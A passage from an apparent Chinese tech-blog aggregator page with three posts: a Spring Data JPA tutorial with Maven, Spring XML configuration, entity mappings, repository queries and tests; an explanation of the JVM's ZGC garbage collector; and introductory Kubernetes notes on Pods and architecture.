     69         </dependency>
     70         <dependency>
     71             <groupId>org.hibernate</groupId>
     72             <artifactId>hibernate-entitymanager</artifactId>
     73             <version>${hibernate.version}</version>
     74         </dependency>
     75         <dependency>
     76             <groupId>org.hibernate</groupId>
     77             <artifactId>hibernate-validator</artifactId>
     78             <version>5.2.1.Final</version>
     79         </dependency>
     80         <!-- hibernate end -->
     81 
     82         <!-- c3p0 beg -->
     83         <dependency>
     84             <groupId>c3p0</groupId>
     85             <artifactId>c3p0</artifactId>
     86             <version>${c3p0.version}</version>
     87         </dependency>
     88         <!-- c3p0 end -->
     89 
     90         <!-- log end -->
     91         <dependency>
     92             <groupId>log4j</groupId>
     93             <artifactId>log4j</artifactId>
     94             <version>${log4j.version}</version>
     95         </dependency>
     96 
     97         <dependency>
     98             <groupId>org.slf4j</groupId>
     99             <artifactId>slf4j-api</artifactId>
    100             <version>${slf4j.version}</version>
    101         </dependency>
    102 
    103         <dependency>
    104             <groupId>org.slf4j</groupId>
    105             <artifactId>slf4j-log4j12</artifactId>
    106             <version>${slf4j.version}</version>
    107         </dependency>
    108         <!-- log end -->
    109 
    110         
    111         <dependency>
    112             <groupId>mysql</groupId>
    113             <artifactId>mysql-connector-java</artifactId>
    114             <version>${mysql.version}</version>
    115         </dependency>
    116 
    117         <dependency>
    118             <groupId>org.springframework.data</groupId>
    119             <artifactId>spring-data-jpa</artifactId>
    120             <version>1.9.0.RELEASE</version>
    121         </dependency>
    122 
    123         <dependency>
    124             <groupId>org.springframework</groupId>
    125             <artifactId>spring-test</artifactId>
    126             <version>4.2.4.RELEASE</version>
    127         </dependency>
    128         
    129         <!-- el beg 使用spring data jpa 必須引入 -->
    130         <dependency>  
    131             <groupId>javax.el</groupId>  
    132             <artifactId>javax.el-api</artifactId>  
    133             <version>2.2.4</version>  
    134         </dependency>  
    135           
    136         <dependency>  
    137             <groupId>org.glassfish.web</groupId>  
    138             <artifactId>javax.el</artifactId>  
    139             <version>2.2.4</version>  
    140         </dependency> 
    141         <!-- el end -->
    142 
    143         <dependency>
    144             <groupId>javax.xml.bind</groupId>
    145             <artifactId>jaxb-api</artifactId>
    146             <version>2.3.0</version>
    147         </dependency>
    148         <dependency>
    149             <groupId>com.sun.xml.bind</groupId>
    150             <artifactId>jaxb-impl</artifactId>
    151             <version>2.3.0</version>
    152         </dependency>
    153         <dependency>
    154             <groupId>com.sun.xml.bind</groupId>
    155             <artifactId>jaxb-core</artifactId>
    156             <version>2.3.0</version>
    157         </dependency>
    158         <dependency>
    159             <groupId>javax.activation</groupId>
    160             <artifactId>activation</artifactId>
    161             <version>1.1.1</version>
    162         </dependency>
    163     </dependencies>
    164         

    2、整合Spring Data JPA與Spring

     1 <?xml version="1.0" encoding="UTF-8"?>
     2 <beans xmlns="http://www.springframework.org/schema/beans"
     3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop"
     4     xmlns:context="http://www.springframework.org/schema/context"
     5     xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:tx="http://www.springframework.org/schema/tx"
     6     xmlns:jpa="http://www.springframework.org/schema/data/jpa" xmlns:task="http://www.springframework.org/schema/task"
     7     xsi:schemaLocation="
     8         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
     9         http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd
    10         http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
    11         http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc.xsd
    12         http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd
    13         http://www.springframework.org/schema/data/jpa 
    14         http://www.springframework.org/schema/data/jpa/spring-jpa.xsd">
    15     
    16     <!-- 1.dataSource 配置數據庫連接池-->
    17     <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource">
    18         <property name="driverClass" value="com.mysql.jdbc.Driver" />
    19         <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/jpa" />
    20         <property name="user" value="root" />
    21         <property name="password" value="111111" />
    22     </bean>
    23     
    24     <!-- 2.配置entityManagerFactory -->
    25     <bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
    26         <property name="dataSource" ref="dataSource" />
    27         <property name="packagesToScan" value="cn.itcast.entity" />
    28         <property name="persistenceProvider">
    29             <bean class="org.hibernate.jpa.HibernatePersistenceProvider" />
    30         </property>
    31         <!--JPA的供應商適配器-->
    32         <property name="jpaVendorAdapter">
    33             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
    34                 <property name="generateDdl" value="false" />
    35                 <property name="database" value="MYSQL" />
    36                 <property name="databasePlatform" value="org.hibernate.dialect.MySQLDialect" />
    37                 <property name="showSql" value="true" />
    38             </bean>
    39         </property>
    40         <property name="jpaDialect">
    41             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaDialect" />
    42         </property>
    43     </bean>
    44     
    45     
    46     <!-- 3.事務管理器-->
    47     <!-- JPA事務管理器  -->
    48     <bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager">
    49         <property name="entityManagerFactory" ref="entityManagerFactory" />
    50     </bean>
    51     
    52     <!-- 整合spring data jpa-->
    53     <jpa:repositories base-package="top.biyenanhai.mapper"
    54         transaction-manager-ref="transactionManager"
    55         entity-manager-factory-ref="entityManagerFactory"></jpa:repositories>
    56         
    57     <!-- 4.txAdvice-->
    58     <tx:advice id="txAdvice" transaction-manager="transactionManager">
    59         <tx:attributes>
    60             <tx:method name="*" propagation="REQUIRED"/>
    61             <tx:method name="get*" read-only="true"/>
    62             <tx:method name="find*" read-only="true"/>
    63         </tx:attributes>
    64     </tx:advice>
    65     
    66     <!-- 5.aop-->
    67     <aop:config>
    68         <aop:pointcut id="pointcut" expression="execution(* top.biyenanhai.service.*.*(..))" />
    69         <aop:advisor advice-ref="txAdvice" pointcut-ref="pointcut" />
    70     </aop:config>
    71     
    72     <context:component-scan base-package="cn.itcast"></context:component-scan>
    73     <!--6、配置包掃描-->
    74     <context:component-scan base-package="top.biyenanhai"/>
    75     <!--組裝其它 配置文件-->
    76     
    77 </beans>

    3、使用JPA註解配置映射關係

    package top.biyenanhai.entity;
    
    import javax.persistence.Column;
    import javax.persistence.Entity;
    import javax.persistence.GeneratedValue;
    import javax.persistence.GenerationType;
    import javax.persistence.Id;
    import javax.persistence.Table;
    
    /**
     * 
     *      * 所有的註解都是使用JPA的規範提供的註解,
     *      * 所以在導入註解包的時候,一定要導入javax.persistence下的
     */
    @Entity //聲明實體類
    @Table(name="cst_customer") //建立實體類和表的映射關係
    public class Customer {
        
        @Id//聲明當前私有屬性為主鍵
        @GeneratedValue(strategy=GenerationType.IDENTITY) //配置主鍵的生成策略
        @Column(name="cust_id") //指定和表中cust_id字段的映射關係
        private Long custId;
        
        @Column(name="cust_name") //指定和表中cust_name字段的映射關係
        private String custName;
        
        @Column(name="cust_source")//指定和表中cust_source字段的映射關係
        private String custSource;
        
        @Column(name="cust_industry")//指定和表中cust_industry字段的映射關係
        private String custIndustry;
        
        @Column(name="cust_level")//指定和表中cust_level字段的映射關係
        private String custLevel;
        
        @Column(name="cust_address")//指定和表中cust_address字段的映射關係
        private String custAddress;
        
        @Column(name="cust_phone")//指定和表中cust_phone字段的映射關係
        private String custPhone;
        
        //添加get,set方法,toString方法
    }

    3、編寫符合Spring Data JPA規範的Dao層接口,繼承JpaRepository<T,ID>和JpaSpecificationExecutor<T>

     *     JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
     *              *封裝了基本CURD操作
     *     JpaSpecificationExecutor<操作的實體類類型>
     *              *封裝了複雜查詢(分頁)
    package top.biyenanhai.dao;
    
    import org.springframework.data.jpa.repository.JpaRepository;
    import org.springframework.data.jpa.repository.JpaSpecificationExecutor;
    import org.springframework.data.jpa.repository.Modifying;
    import org.springframework.data.jpa.repository.Query;
    import top.biyenanhai.domain.Customer;
    
    import java.util.List;
    
    /**
     * Created with IntelliJ IDEA.
     *
     * @Auther: 畢業男孩
     *
     * 符合SpringDataJpa的dao接口規範
     *      JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
     *              *封裝了基本CURD操作
     *      JpaSpecificationExecutor<操作的實體類類型>
     *              *封裝了複雜查詢(分頁)
     *
     */
    public interface CustomerDao extends JpaRepository<Customer, Long>, JpaSpecificationExecutor<Customer> {
    
        /**
         * 案例:根據客戶名稱查詢客戶
         *      使用jpql的形式查詢
         *
         *  jpql:from Customer where custName = ?
         *
         *  配置jpql語句,使用@Query註解
         */
        @Query(value="from Customer where custName = ? ")
        Customer findJpql(String custName);
    
        /**
         * 案例:根據客戶名稱和客戶id查詢客戶
         *      jqpl:from Customer where cutName = ? and custId = ?
         *
         *   對於多個佔位符參數
         *          賦值的時候,默認的情況下,佔位符的位置需要和方法參數中的位置保持一致
         *   可以指定佔位符參數的位置
         *          ?索引的方式,指定此佔位的取值來源
         */
        @Query(value = "from Customer where custName=?2 and custId=?1")
        Customer findCustNameAndCustId(Long id,String name);
    
    
        /**
         * 使用jpql完成更新操作
         *      案例:根據id更新,客戶的名稱
         *          更新4號客戶的名稱,將名稱改為“老男孩”
         *
         *
         * sql:update cst_customer set cust_name = ?where cust_id=?
         * jpql:update Customer set custName=? where custId=?
         *
         * @Query:代表的是進行查詢
         *      聲明此方法是用來更新操作
         * @Modifying:當前執行的是一個更新操作
         */
        @Query(value = "update Customer set custName=?2 where custId=?1")
        @Modifying
        void updateCustomer(long id, String custName);
    
    
        /**
         * 使用sql的形式查詢:
         *      查詢全部的客戶
         *      sql:select * from cst_custimer;
         *      Query:配置sql查詢
         *          value: sql語句
         *          nativeQuery: 查詢方式
         *              true:sql查詢
         *              false:jpql查詢
         */
    //    @Query(value = "select * from cst_customer", nativeQuery = true)  //查詢全部
    
        @Query(value = "select * from cst_customer where cust_name like ?1",nativeQuery = true) //條件查詢
        List<Object[]> findSql(String name);
    
    
        /**
         * 方法名的約定:
         *      findBy:查詢
         *          對象中的屬性名(首字母大寫):查詢的條件
         *          CustName
         *          *默認情況:使用 等於的方式查詢
         *              特殊的查詢方式
         * findByCustName --  根據客戶名稱查詢
         *
         * 在springdataJpa的運行階段
         *      會根據方法名稱進行解析  findBy  from xxx(實體類)
         *                                  屬性名稱    where custName =
         *
         *
         *      1、findBy + 屬性名稱(根據屬性名稱進行完成匹配的查詢=)
         *      2、findBy + 屬性名稱 + “查詢方式(Like|isnull)”
         *      3、多條件查詢
         *          findBy + 屬性名 + "查詢條件" + "多條件的連接符(and|or)" + 屬性名 + “查詢方式”
         *
         */
        Customer findByCustName(String custName);
    
        List<Customer> findByCustNameLike(String name);
    
        List<Customer> findByCustNameLikeAndCustIndustry(String name, String industry);
    
    }

    4、測試基本CRUD操作

    @RunWith(SpringJUnit4ClassRunner.class) //聲明spring提供的單元測試環境
    @ContextConfiguration(locations = "classpath:applicationContext.xml")//指定spring容器的配置信息
    public class CustomerDaoTest {
    
        @Autowired
        private CustomerDao customerDao;
    
        /**
         * 根據id查詢
         */
        @Test
        public void testFindOne(){
            Customer customer = customerDao.findOne(1l);
            System.out.println(customer);
        }
    ......
        
        /**
         * 測試jqpl的更新操作
         * 更新和刪除操作要加上事務的註解
         *
         * springDataJpa中使用jpql完成  更新/刪除操作
         *          需要手動添加事務的支持
         *          默認回執行結束之後,回滾事務
         *    @Rollback:設置是否自動回滾
         */
        @Test
        @Transactional//添加事務的支持
        @Rollback(false)
        public void testUpdate(){
            customerDao.updateCustomer(1l, "航空航天科技有限公司");
        }
    ......

    5、具體關鍵字,使用方法和生產成SQL如下錶所示

    Keyword

    Sample

    JPQL

    And

    findByLastnameAndFirstname

    … where x.lastname = ?1 and x.firstname = ?2

    Or

    findByLastnameOrFirstname

    … where x.lastname = ?1 or x.firstname = ?2

    Is,Equals

    findByFirstnameIs,

    findByFirstnameEquals

    … where x.firstname = ?1

    Between

    findByStartDateBetween

    … where x.startDate between ?1 and ?2

    LessThan

    findByAgeLessThan

    … where x.age < ?1

    LessThanEqual

    findByAgeLessThanEqual

    … where x.age ?1

    GreaterThan

    findByAgeGreaterThan

    … where x.age > ?1

    GreaterThanEqual

    findByAgeGreaterThanEqual

    … where x.age >= ?1

    After

    findByStartDateAfter

    … where x.startDate > ?1

    Before

    findByStartDateBefore

    … where x.startDate < ?1

    IsNull

    findByAgeIsNull

    … where x.age is null

    IsNotNull,NotNull

    findByAge(Is)NotNull

    … where x.age not null

    Like

    findByFirstnameLike

    … where x.firstname like ?1

    NotLike

    findByFirstnameNotLike

    … where x.firstname not like ?1

    StartingWith

    findByFirstnameStartingWith

    … where x.firstname like ?1 (parameter bound with appended %)

    EndingWith

    findByFirstnameEndingWith

    … where x.firstname like ?1 (parameter bound with prepended %)

    Containing

    findByFirstnameContaining

    … where x.firstname like ?1 (parameter bound wrapped in %)

    OrderBy

    findByAgeOrderByLastnameDesc

    … where x.age = ?1 order by x.lastname desc

    Not

    findByLastnameNot

    … where x.lastname <> ?1

    In

    findByAgeIn(Collection ages)

    … where x.age in ?1

    NotIn

    findByAgeNotIn(Collection age)

    … where x.age not in ?1

    TRUE

    findByActiveTrue()

    … where x.active = true

    FALSE

    findByActiveFalse()

    … where x.active = false

    IgnoreCase

    findByFirstnameIgnoreCase

    … where UPPER(x.firstame) = UPPER(?1)

     

    六、Specifications動態查詢:

      有時我們在查詢某個實體的時候,給定的條件是不固定的,這時就需要動態構建相應的查詢語句,在Spring Data JPA中可以通過JpaSpecificationExecutor接口查詢。相比JPQL,其優勢是類型安全,更加的面向對象。對於JpaSpecificationExecutor,這個接口基本是圍繞着Specification接口來定義的。我們可以簡單的理解為,Specification構造的就是查詢條件。

    /**
        *    root    :Root接口,代表查詢的根對象,可以通過root獲取實體中的屬性
        *    query    :代表一個頂層查詢對象,用來自定義查詢
        *    cb        :用來構建查詢,此對象里有很多條件方法
        **/
        public Predicate toPredicate(Root<T> root, CriteriaQuery<?> query, CriteriaBuilder cb);

    案例:使用Specifications完成條件查詢

    //依賴注入customerDao
        @Autowired
        private CustomerDao customerDao;    
        @Test
        public void testSpecifications() {
              //使用匿名內部類的方式,創建一個Specification的實現類,並實現toPredicate方法
            Specification <Customer> spec = new Specification<Customer>() {
                public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                    //cb:構建查詢,添加查詢方式   like:模糊匹配
                    //root:從實體Customer對象中按照custName屬性進行查詢
                    return cb.like(root.get("custName").as(String.class), "航天航空%");
                }
            };
            Customer customer = customerDao.findOne(spec);
            System.out.println(customer);
        }

    案例:基於Specifications的分頁查詢

    @Test
        public void testPage() {
            //構造查詢條件
            Specification<Customer> spec = new Specification<Customer>() {
                public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                    return cb.like(root.get("custName").as(String.class), "航天%");
                }
            };
            
            /**
             * 構造分頁參數
             *         Pageable : 接口
             *             PageRequest實現了Pageable接口,調用構造方法的形式構造
             *                 第一個參數:頁碼(從0開始)
             *                 第二個參數:每頁查詢條數
             */
            Pageable pageable = new PageRequest(0, 5);
            
            /**
             * 分頁查詢,封裝為Spring Data Jpa 內部的page bean
             *         此重載的findAll方法為分頁方法需要兩個參數
             *             第一個參數:查詢條件Specification
             *             第二個參數:分頁參數
             */
            Page<Customer> page = customerDao.findAll(spec,pageable);
            
        }

    對於Spring Data JPA中的分頁查詢,是其內部自動實現的封裝過程,返回的是一個Spring Data JPA提供的pageBean對象。其中的方法說明如下:

    //獲取總頁數
    int getTotalPages();
    //獲取總記錄數    
    long getTotalElements();
    //獲取列表數據
    List<T> getContent();

    方法對應關係:

    方法名稱

    Sql對應關係

    equal

    filed = value

    gt(greaterThan )

    filed > value

    lt(lessThan )

    filed < value

    ge(greaterThanOrEqualTo )

    filed >= value

    le( lessThanOrEqualTo)

    filed <= value

    notEqual

    filed != value

    like

    filed like value

    notLike

    filed not like value

    七、JPA中的一對多:

    實體類(一對多,一的實體類)

    /**
     * 客戶的實體類
     * 明確使用的註解都是JPA規範的
     * 所以導包都要導入javax.persistence包下的
     */
    @Entity//表示當前類是一個實體類
    @Table(name="cst_customer")//建立當前實體類和表之間的對應關係
    public class Customer implements Serializable {
        
        @Id//表明當前私有屬性是主鍵
        @GeneratedValue(strategy=GenerationType.IDENTITY)//指定主鍵的生成策略
        @Column(name="cust_id")//指定和數據庫表中的cust_id列對應
        private Long custId;
        @Column(name="cust_name")//指定和數據庫表中的cust_name列對應
        private String custName;
        
        //配置客戶和聯繫人的一對多關係
        @OneToMany(targetEntity=LinkMan.class)
        @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
        private Set<LinkMan> linkmans = new HashSet<LinkMan>();

    ...get,set方法

    實體類(一對多,多的實體類)

    /**
     * 聯繫人的實體類(數據模型)
     */
    @Entity
    @Table(name="cst_linkman")
    public class LinkMan implements Serializable {
        @Id
        @GeneratedValue(strategy=GenerationType.IDENTITY)
        @Column(name="lkm_id")
        private Long lkmId;
        @Column(name="lkm_name")
        private String lkmName;
        @Column(name="lkm_gender")
        private String lkmGender;
        @Column(name="lkm_phone")
        private String lkmPhone;
    
        //多對一關係映射:多個聯繫人對應客戶
        @ManyToOne(targetEntity=Customer.class)
        @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
        private Customer customer;//用它的主鍵,對應聯繫人表中的外鍵

    ...get,set方法

    八、JPA中的多對多:

    /**
     * 用戶的數據模型
     */
    @Entity
    @Table(name="sys_user")
    public class SysUser implements Serializable {
        
        @Id
        @GeneratedValue(strategy=GenerationType.IDENTITY)
        @Column(name="user_id")
        private Long userId;
        @Column(name="user_name")
        private String userName;
    
        
        //多對多關係映射
        @ManyToMany(mappedBy="users")
        private Set<SysRole> roles = new HashSet<SysRole>();
    /**
     * 角色的數據模型
     */
    @Entity
    @Table(name="sys_role")
    public class SysRole implements Serializable {
        
        @Id
        @GeneratedValue(strategy=GenerationType.IDENTITY)
        @Column(name="role_id")
        private Long roleId;
        @Column(name="role_name")
        private String roleName;
        
        //多對多關係映射
        @ManyToMany
        @JoinTable(name="user_role_rel",//中間表的名稱
                  //中間表user_role_rel字段關聯sys_role表的主鍵字段role_id
                  joinColumns={@JoinColumn(name="role_id",referencedColumnName="role_id")},
                  //中間表user_role_rel的字段關聯sys_user表的主鍵user_id
                  inverseJoinColumns={@JoinColumn(name="user_id",referencedColumnName="user_id")}
        )
        private Set<SysUser> users = new HashSet<SysUser>();

     

    映射的註解說明

    @OneToMany:
           作用:建立一對多的關係映射
        屬性:
            targetEntityClass:指定多的多方的類的字節碼
            mappedBy:指定從表實體類中引用主表對象的名稱。
            cascade:指定要使用的級聯操作
            fetch:指定是否採用延遲加載
    
    @ManyToOne
        作用:建立多對一的關係
        屬性:
            targetEntityClass:指定一的一方實體類字節碼
            cascade:指定要使用的級聯操作
            fetch:指定是否採用延遲加載
            optional:關聯是否可選。如果設置為false,則必須始終存在非空關係。
    
    @JoinColumn
         作用:用於定義主鍵字段和外鍵字段的對應關係。
         屬性:
            name:指定外鍵字段的名稱
            referencedColumnName:指定引用主表的主鍵字段名稱
            unique:是否唯一。默認值不唯一
            nullable:是否允許為空。默認值允許。
            insertable:是否允許插入。默認值允許。
            updatable:是否允許更新。默認值允許。
            columnDefinition:列的定義信息。

     

    九、Spring Data JPA中的多表查詢:

      對象導航查詢:對象導航檢索方式是根據已經加載的對象,導航到他的關聯對象。它利用類與類之間的關係來檢索對象。例如:我們通過ID查詢方式查出一個客戶,可以調用Customer類中的getLinkMans()方法來獲取該客戶的所有聯繫人。對象導航查詢的使用要求是:兩個對象之間必須存在關聯關係。

    //查詢一個客戶,獲取該客戶下的所有聯繫人
    @Autowired
    private CustomerDao customerDao;
        
    @Test
    //由於是在java代碼中測試,為了解決no session問題,將操作配置到同一個事務中
    @Transactional 
    public void testFind() {
        Customer customer = customerDao.findOne(5l);
        Set<LinkMan> linkMans = customer.getLinkMans();//對象導航查詢
        for(LinkMan linkMan : linkMans) {
              System.out.println(linkMan);
        }
    }
    //查詢一個聯繫人,獲取該聯繫人的所有客戶
    @Autowired
    private LinkManDao linkManDao;
        
    @Test
    public void testFind() {
        LinkMan linkMan = linkManDao.findOne(4l);
        Customer customer = linkMan.getCustomer(); //對象導航查詢
        System.out.println(customer);
    }

    採用延遲加載的思想。通過配置的方式來設定當我們在需要使用時,發起真正的查詢。

    配置方式:

    /**
     * 在客戶對象的@OneToMany註解中添加fetch屬性
     *     FetchType.EAGER    :立即加載
     *     FetchType.LAZY            :延遲加載
     */
     @OneToMany(mappedBy="customer",fetch=FetchType.EAGER)
     private Set<LinkMan> linkMans = new HashSet<>();
        
    /**
     * 在聯繫人對象的@ManyToOne註解中添加fetch屬性
     *         FetchType.EAGER    :立即加載
     *         FetchType.LAZY    :延遲加載
     */
     @ManyToOne(targetEntity=Customer.class,fetch=FetchType.EAGER)
     @JoinColumn(name="cst_lkm_id",referencedColumnName="cust_id")
     private Customer customer;

    使用Specification查詢

    /**
     * Specification的多表查詢
     */
    @Test
    public void testFind() {
        Specification<LinkMan> spec = new Specification<LinkMan>() {
            public Predicate toPredicate(Root<LinkMan> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                //Join代錶鏈接查詢,通過root對象獲取
                //創建的過程中,第一個參數為關聯對象的屬性名稱,第二個參數為連接查詢的方式(left,inner,right)
                //JoinType.LEFT : 左外連接,JoinType.INNER:內連接,JoinType.RIGHT:右外連接
                Join<LinkMan, Customer> join = root.join("customer",JoinType.INNER);
                return cb.like(join.get("custName").as(String.class),"航空航天");
            }
        };
        List<LinkMan> list = linkManDao.findAll(spec);
        for (LinkMan linkMan : list) {
            System.out.println(linkMan);
        }
    }

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    南投搬家公司費用需注意的眉眉角角,別等搬了再說!

    ※教你寫出一流的銷售文案?

  • 深入理解JVM(③)ZGC收集器

    深入理解JVM(③)ZGC收集器

    前言

    ZGC是一款在JDK11中新加入的具有實驗性質的低延遲垃圾收集器,目前僅支持Linux/x86-64。ZGC收集器是一款基於Region內存布局的,(暫時)不設分代的,使用了讀屏障、染色指針和內存多重映射等技術來實現可併發的標記-整理算法的,以低延遲為首要目標的一款垃圾收集器。

    ZGC布局

    與Shenandoah和G1一樣,ZGC也採取基於Region的堆內存布局,但與他們不同的是,ZGC的Region具有動態性(動態的創建和銷毀,以及動態的區域容量大小)。
    ZGC的Region可以分為三類:

    • 小型Region:容量固定為2MB,用於放置小於256KB的小對象。
    • 中型Region:容量固定為32MB,用於放置大於等於256KB但小於4MB的對象。
    • 大型Region:容量不固定,可以動態變化,但必須為2MB的整數倍,用於存放4MB或以上的大對象。並且每個大型Region只會存放一個對象。
      ZGC內存布局圖:

    染色指針

    HotSpot的垃圾收集器,有幾種不同的標記實現方案。

    • 把標記直接記錄在對象頭上(Serial 收集器)。
    • 把標記記錄在於對象相互獨立的數據結構上(G1、Shenandoah使用了一種相當於堆內存的1/64大小的,稱為BitMap的結構來記錄標記信息)。
    • ZGC染色指針直接把標記信息記載引用對象的指針上。
      染色指針是一種直接將少量額外的信息存儲在指針上的技術。
      目前Linux下64位指針的高18位不能用來尋址,但剩餘的46位指針所能支持的64TB內存仍然鞥呢夠充分滿足大型服務器的需要。鑒於此,ZGC將其高4位提取出來存儲四個標誌信息。
      通過這些標誌虛擬機就可以直接從指針中看到器引用對象的三色標記狀態(Marked0、Marked1)、是否進入了重分配集(是否被移動過——Remapped)、是否只能通過finalize()方法才能被訪問到(Finalizable)。由於這些標誌位進一步壓縮了原本只有46位的地址空寂,導致ZGC能夠管理的內存不可以超過4TB。
      染色指針示意圖:

    染色指針的優勢

    • 染色指針可以使得一旦某個Region的存活對象被移走之後,這個Region立即就能夠被釋放和重用掉,而不必等待整個堆中所有指令向該Region的引用都被修正後才能清理。
    • 染色指針可以大幅減少在垃圾收集過程中內存屏障的使用數量,設置內存屏障,尤其是在寫屏障的目的通常是為了記錄對象引用的變動情況,如果將這些信息直接維護在指針中,顯然就可以省去一些專門的記錄操作。
    • 染色指針可以作為一種可擴展的存儲結構用來記錄更多與對象標記、重定位過程相關的數據,以便日後進一步提高性能。

    內存多重映射

    Linux/x86-64平台上ZGC使用了多重映射(Multi-Mapping)將多個不同的虛擬內存地址映射到同一物理內存地址上,這是一種多對一映射,意味着ZGC在虛擬內存中看到的地址空寂要比實際的堆內存容量來的更大。把染色指針中的標誌位看作是地址的分段符,那隻要將這些不同的地址段都映射到同一物理內褲空間,經過多重映射轉換后,就可以使用染色指針正常進行尋址了。
    多重映射下的尋址:

    ZGC的運作過程

    ZGC的運作過程大致可劃分為以下四個大的階段。四個階段都是可以併發執行的,僅是兩個階段中間會存在短暫的停頓小階段。
    運作過程如下:

    • 併發標記(Concurrent Mark): 與G1、Shenandoah一樣,併發標記是遍歷對象圖做可達性分析的階段,前後也要經過類似於G1、Shenandoah的初始標記、最終標記的短暫停頓,而且這些停頓階段所做的事情在目標上也是相類似的。
    • 併發預備重分配( Concurrent Prepare for Relocate): 這個階段需要根據特定的查詢條件統計得出本次收集過程要清理哪些Region,將這些Region組成重分配集(Relocation Set)。
    • 併發重分配(Concurrent Relocate): 重分配是ZGC執行過程中的核心階段,這個過程要把重分配集中的存活對象複製到新的Region上,併為重分配集中的每個Region維護一個轉發表(Forward Table),記錄從舊對象到新對象的轉向關係。
    • 併發重映射(Concurrent Remap): 重映射所做的就是修正整個堆中指向重分配集中舊對象的所有引用,ZGC的併發映射並不是以一個必須要“迫切”去完成的任務。ZGC很巧妙地把併發重映射階段要做的工作,合併到下一次垃圾收集循環中的併發標記階段里去完成,反正他們都是要遍歷所有對象的,這樣合併節省了一次遍歷的開銷。

    ZGC的優劣勢

    • 缺點:浮動垃圾
      當ZGC準備要對一個很大的堆做一次完整的併發收集,駕駛其全過程要持續十分鐘以上,由於應用的對象分配速率很高,將創造大量的新對象,這些新對象很難進入當次收集的標記範圍,通常就只能全部作為存活對象來看待(儘管其中絕大部分對象都是朝生夕滅),這就產生了大量的浮動垃圾。
      目前唯一的辦法就是盡可能地去增加堆容量大小,獲取更多喘息的時間。但若要從根本上解決,還是需要引入分代收集,讓新生對象都在一個專門的區域中創建,然後針對這個區域進行更頻繁、更快的收集。
    • 優點:高吞吐量、低延遲
      ZGC是支持“NUMA-Aware”的內存分配。MUMA(Non-Uniform Memory Access,非統一內存訪問架構)是一種多處理器或多核處理器計算機所設計的內存架構。
      現在多CPU插槽的服務器都是Numa架構,比如兩顆CPU插槽(24核),64G內存的服務器,那其中一顆CPU上的12個核,訪問從屬於它的32G本地內存,要比訪問另外32G遠端內存要快得多。
      ZGC默認支持NUMA架構,在創建對象時,根據當前線程在哪個CPU執行,優先在靠近這個CPU的內存進行分配,這樣可以顯著的提高性能,在SPEC JBB 2005 基準測試里獲得40%的提升。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※別再煩惱如何寫文案,掌握八大原則!

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 【K8s學習筆記】K8s是如何部署應用的?

    【K8s學習筆記】K8s是如何部署應用的?

    本文內容

    本文致力於介紹K8s一些基礎概念與串聯部署應用的主體流程,使用Minikube實操

    基礎架構概念回顧

    溫故而知新,上一節【K8S學習筆記】初識K8S 及架構組件 我們學習了K8s的發展歷史、基礎架構概念及用途,本節講的內容建立在其上,有必要把之前的架構小節提出來回顧下:

    K8s架構分為控制平台(位於的Master節點)與執行節點Node

    控制平台包含:

    • kube-apiserver(訪問入口,接收命令)

    • etcd(KV數據庫,保存集群狀態與數據)

    • kube-scheduler(監控節點狀態,調度容器部署)

    • kube-controller-manager(監控集群狀態,控制節點、副本、端點、賬戶與令牌)

    • cloud-controller-manager(控制與雲交互的節點、路由、服務、數據卷)

    執行節點包含:

    • kubelet(監控與實際操作容器)

    • kube-proxy(每個節點上運行的網絡代理,維護網絡轉發規則,實現了Service)

    • 容器運行時環境CRI(支持多種實現K8s CRI的容器技術)

    接下來需要引入 Pod 與 Service 的概念,這也是在上一篇文章中未給出的

    Pod、Service與Label概念

    Pod概念與結構

    Pod 是 K8s最重要的基本概念,官網給出概念:Pod是Kubernates可調度的最小的、可部署的單元。怎麼理解呢?最簡單的理解是,Pod是一組容器。

    再詳細些,Pod是一組容器組成的概念,這些容器都有共同的特點:

    • 都有一個特殊的被稱為“根容器”的Pause容器。Pause容器鏡像屬於K8s平台的一部分
    • 包含一個或多個緊密相關的用戶業務容器。假設個場景:業務容器需要獨立的redis提供服務,這裏就可以將它們兩個部署在同一Pod中。

    下邊是Pod的組成示意圖:

    為什麼Kubernetes會設計出一個全新的概念與Pod會有這樣特殊的結構呢?

    • 原因之一:K8s需要將一組容器視為一個單元處理。當其中某些容器死亡了,此時無法判定這組容器的狀態。而當成一個單元,只要其中有一個容器掛了,這個單元就判定掛了。
    • 原因之二:通過Pause共享容器IP,共享Pause掛接的Volume,簡化密切關聯的業務容器之間的通信問題和文件共享問題

